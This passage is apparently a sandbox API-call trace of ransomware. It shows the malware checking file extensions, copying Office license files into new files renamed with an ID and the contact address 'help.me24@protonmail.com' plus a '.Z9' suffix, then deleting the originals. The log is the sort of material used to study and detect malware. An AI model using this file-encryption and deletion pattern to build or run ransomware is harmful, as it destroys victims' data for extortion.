	[0182.771] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.771] lstrlenW (lpString=".rar") returned 4
	[0182.771] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.772] lstrlenW (lpString=".bz2") returned 4
	[0182.772] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.772] lstrlenW (lpString=".7z") returned 3
	[0182.772] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0182.772] lstrlenW (lpString=".dbf") returned 4
	[0182.772] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0182.772] lstrlenW (lpString=".1cd") returned 4
	[0182.772] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0182.772] lstrlenW (lpString=".jpg") returned 4
	[0182.772] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.772] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.772] lstrlenW (lpString="HomeStudentR_OEM_Perp-pl.xrm-ms") returned 31
	[0182.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.773] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10659) returned 1
	[0182.773] CloseHandle (hObject=0x344) returned 1
	[0182.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 0x220
	[0182.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.774] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.774] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.775] GetLastError () returned 0x0
	[0182.775] ReadFile (in: hFile=0x344, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x29a3, lpOverlapped=0x0) returned 1
	[0182.780] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0182.781] ReadFile (in: hFile=0x344, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.781] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x112, lpOverlapped=0x0) returned 1
	[0182.781] SetEndOfFile (hFile=0x538) returned 1
	[0182.782] CloseHandle (hObject=0x538) returned 1
	[0182.782] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.782] SetEndOfFile (hFile=0x344) returned 1
	[0182.784] CloseHandle (hObject=0x344) returned 1
	[0182.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 1
	[0182.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0182.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0182.786] lstrlenW (lpString=".doc") returned 4
	[0182.786] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.786] lstrlenW (lpString=".docx") returned 5
	[0182.786] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.786] lstrlenW (lpString=".pdf") returned 4
	[0182.786] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.786] lstrlenW (lpString=".xls") returned 4
	[0182.786] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.786] lstrlenW (lpString=".xlsx") returned 5
	[0182.786] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.786] lstrlenW (lpString=".ppt") returned 4
	[0182.786] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0182.787] lstrlenW (lpString=".zip") returned 4
	[0182.787] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.787] lstrlenW (lpString=".rar") returned 4
	[0182.787] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.787] lstrlenW (lpString=".bz2") returned 4
	[0182.787] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.787] lstrlenW (lpString=".7z") returned 3
	[0182.787] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0182.787] lstrlenW (lpString=".dbf") returned 4
	[0182.787] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0182.787] lstrlenW (lpString=".1cd") returned 4
	[0182.787] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0182.787] lstrlenW (lpString=".jpg") returned 4
	[0182.787] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0182.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0182.787] lstrlenW (lpString=".doc") returned 4
	[0182.787] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.787] lstrlenW (lpString=".docx") returned 5
	[0182.787] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.787] lstrlenW (lpString=".pdf") returned 4
	[0182.787] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.787] lstrlenW (lpString=".xls") returned 4
	[0182.787] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.787] lstrlenW (lpString=".xlsx") returned 5
	[0182.787] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.787] lstrlenW (lpString=".ppt") returned 4
	[0182.787] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0182.787] lstrlenW (lpString=".zip") returned 4
	[0182.787] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.787] lstrlenW (lpString=".rar") returned 4
	[0182.787] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.788] lstrlenW (lpString=".bz2") returned 4
	[0182.788] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.788] lstrlenW (lpString=".7z") returned 3
	[0182.788] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0182.788] lstrlenW (lpString=".dbf") returned 4
	[0182.788] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0182.788] lstrlenW (lpString=".1cd") returned 4
	[0182.788] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81
	[0182.788] lstrlenW (lpString=".jpg") returned 4
	[0182.788] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.788] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.788] lstrlenW (lpString="HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 32
	[0182.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.789] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=21606) returned 1
	[0182.789] CloseHandle (hObject=0x344) returned 1
	[0182.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0182.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.790] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.790] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.791] GetLastError () returned 0x0
	[0182.791] ReadFile (in: hFile=0x344, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x5466, lpOverlapped=0x0) returned 1
	[0182.942] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x5470, lpOverlapped=0x0) returned 1
	[0182.944] ReadFile (in: hFile=0x344, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.944] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x114, lpOverlapped=0x0) returned 1
	[0182.944] SetEndOfFile (hFile=0x538) returned 1
	[0182.968] CloseHandle (hObject=0x538) returned 1
	[0182.968] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.968] SetEndOfFile (hFile=0x344) returned 1
	[0182.971] CloseHandle (hObject=0x344) returned 1
	[0182.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 1
	[0182.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0182.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0182.973] lstrlenW (lpString=".doc") returned 4
	[0182.973] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.973] lstrlenW (lpString=".docx") returned 5
	[0182.973] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.973] lstrlenW (lpString=".pdf") returned 4
	[0182.973] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.973] lstrlenW (lpString=".xls") returned 4
	[0182.973] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.973] lstrlenW (lpString=".xlsx") returned 5
	[0182.973] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.973] lstrlenW (lpString=".ppt") returned 4
	[0182.973] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0182.973] lstrlenW (lpString=".zip") returned 4
	[0182.973] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.973] lstrlenW (lpString=".rar") returned 4
	[0182.973] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.973] lstrlenW (lpString=".bz2") returned 4
	[0182.973] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.973] lstrlenW (lpString=".7z") returned 3
	[0182.973] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0182.973] lstrlenW (lpString=".dbf") returned 4
	[0182.974] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0182.974] lstrlenW (lpString=".1cd") returned 4
	[0182.974] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0182.974] lstrlenW (lpString=".jpg") returned 4
	[0182.974] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0182.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0182.974] lstrlenW (lpString=".doc") returned 4
	[0182.974] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.974] lstrlenW (lpString=".docx") returned 5
	[0182.974] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.974] lstrlenW (lpString=".pdf") returned 4
	[0182.974] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.974] lstrlenW (lpString=".xls") returned 4
	[0182.974] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.974] lstrlenW (lpString=".xlsx") returned 5
	[0182.974] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.974] lstrlenW (lpString=".ppt") returned 4
	[0182.974] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0182.974] lstrlenW (lpString=".zip") returned 4
	[0182.974] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.974] lstrlenW (lpString=".rar") returned 4
	[0182.974] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.974] lstrlenW (lpString=".bz2") returned 4
	[0182.974] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.974] lstrlenW (lpString=".7z") returned 3
	[0182.974] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0182.974] lstrlenW (lpString=".dbf") returned 4
	[0182.974] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0182.974] lstrlenW (lpString=".1cd") returned 4
	[0182.974] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0182.975] lstrlenW (lpString=".jpg") returned 4
	[0182.975] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.975] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.975] lstrlenW (lpString="HomeStudentR_Retail-ul-phn.xrm-ms") returned 33
	[0182.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.976] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=19949) returned 1
	[0182.976] CloseHandle (hObject=0x344) returned 1
	[0182.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 0x220
	[0182.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.976] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.976] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.977] GetLastError () returned 0x0
	[0182.977] ReadFile (in: hFile=0x344, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x4ded, lpOverlapped=0x0) returned 1
	[0183.158] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x4df0, lpOverlapped=0x0) returned 1
	[0183.160] ReadFile (in: hFile=0x344, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.160] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x116, lpOverlapped=0x0) returned 1
	[0183.160] SetEndOfFile (hFile=0x538) returned 1
	[0183.184] CloseHandle (hObject=0x538) returned 1
	[0183.191] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.191] SetEndOfFile (hFile=0x344) returned 1
	[0183.273] CloseHandle (hObject=0x344) returned 1
	[0183.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 1
	[0183.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0183.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0183.275] lstrlenW (lpString=".doc") returned 4
	[0183.275] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.275] lstrlenW (lpString=".docx") returned 5
	[0183.275] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.275] lstrlenW (lpString=".pdf") returned 4
	[0183.275] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.275] lstrlenW (lpString=".xls") returned 4
	[0183.275] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.276] lstrlenW (lpString=".xlsx") returned 5
	[0183.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.276] lstrlenW (lpString=".ppt") returned 4
	[0183.276] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0183.276] lstrlenW (lpString=".zip") returned 4
	[0183.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.276] lstrlenW (lpString=".rar") returned 4
	[0183.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.276] lstrlenW (lpString=".bz2") returned 4
	[0183.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.276] lstrlenW (lpString=".7z") returned 3
	[0183.276] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0183.276] lstrlenW (lpString=".dbf") returned 4
	[0183.276] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0183.276] lstrlenW (lpString=".1cd") returned 4
	[0183.276] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0183.276] lstrlenW (lpString=".jpg") returned 4
	[0183.276] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
